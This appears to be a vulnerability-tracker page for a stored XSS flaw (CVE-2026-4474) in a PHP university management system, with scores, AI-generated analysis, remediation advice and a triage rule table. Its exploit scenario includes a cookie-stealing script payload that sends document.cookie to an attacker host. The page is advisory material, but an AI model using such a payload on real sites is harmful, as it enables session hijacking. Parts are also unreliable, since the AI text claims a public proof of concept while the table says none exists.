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University Management System EUVDEUVD-2026-13590

| CVE-2026-4474 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-20 cna@vuldb.com
1.9
CVSS 4.0 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A03:2021 - Injection
ASVS 5.0
V5 - Validation, Sanitization and Encoding Input validation, output encoding, parameterized queries
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Despite the CVSS base score of 2.4, which appears low, the real-world risk is moderate due to several aggravating factors. The vulnerability requires high administrative privileges to trigger (PR:H), which significantly constrains the attack surface and explains the low CVSS severity. However, the public disclosure of a working exploit (evidenced by the GitHub reference) elevates exploitation probability substantially. The XSS impact is limited to integrity (I:L) with no confidentiality or availability impact under the CVSS model, but in practice, authenticated XSS can facilitate lateral privilege escalation or abuse of administrator functionality. The vulnerability's automatable nature (standard HTTP parameter injection) and the existence of published proof-of-concept code should trigger prioritization for organizations running this software, particularly in educational institutions managing sensitive student data. This is a legitimate priority for affected deployments, not a false alarm despite modest CVSS metrics.

Exploit ScenarioDerived

An authenticated administrator with access to the student management interface navigates to the update student record page and injects a malicious JavaScript payload into the st_name field, such as <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>, then saves the record. When another administrator or the system displays the student list or record details, the injected script executes in their browser, exfiltrating their session cookie to the attacker's server, allowing account takeover. The publicly available proof-of-concept on GitHub accelerates exploitation by providing ready-made payloads and step-by-step instructions.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 20, 2026

A stored cross-site scripting (XSS) vulnerability exists in itsourcecode University Management System version 1.0 within the /admin_single_student_update.php file, where the st_name parameter fails to properly sanitize user input. An authenticated administrator with high privileges can inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized administrative actions. A proof-of-concept exploit has been publicly disclosed on GitHub, increasing real-world exploitation risk despite the low CVSS score of 2.4.

RemediationAI

Immediately contact itsourcecode to determine patch availability for University Management System 1.0; if no patch is available, evaluate migration to an actively maintained alternative. As interim mitigation, restrict access to the /admin_single_student_update.php endpoint to a whitelist of trusted administrative IP addresses using firewall or reverse proxy rules, and implement a Web Application Firewall (WAF) with XSS detection rules to filter malicious payloads in the st_name parameter. Additionally, enforce Content Security Policy (CSP) headers with strict script-src directives to prevent inline script execution, and ensure all administrator accounts use strong, unique credentials with multi-factor authentication to reduce the risk of account compromise. Monitor administrative activity logs for suspicious parameter values or session anomalies.

Affected VersionsENISA

University Management System 1.0

Affected Packages

euvd university_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a CWE-79 (Improper Neutralization of Input During Web Page Generation) cross-site scripting flaw in a PHP-based web application. The flaw occurs in the student record update functionality where the st_name parameter is reflected or stored without proper HTML encoding or input validation before being rendered in the HTML response. This is a classic reflected or stored XSS vulnerability common in legacy PHP applications that predate modern security frameworks and automated output encoding. The attack vector is network-based with low complexity (AV:N/AC:L), meaning an attacker can exploit this remotely through standard HTTP requests, but requires high privilege level (PR:H) to access the administrative interface where the vulnerable parameter is processed.

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Severity by source

NVD PRIMARY 1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Apr 29, 2026 - 01:11 NVD
2.4 (LOW) 1.9 (LOW)
CVE Published
Mar 20, 2026 - 07:16 nvd
LOW 2.4

DescriptionCVE.org

A flaw has been found in itsourcecode University Management System 1.0. Impacted is an unknown function of the file /admin_single_student_update.php. This manipulation of the argument st_name causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used.

Executive ViewAI

Why It Matters

CVE-2026-4474 is a low-severity vulnerability in A flaw involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.

Business Impact: Low
Compensating Controls

Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Low

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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CVE-2024-6957 MEDIUM POC
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A vulnerability classified as critical has been found in itsourcecode University Management System 1.0. Rated medium sev

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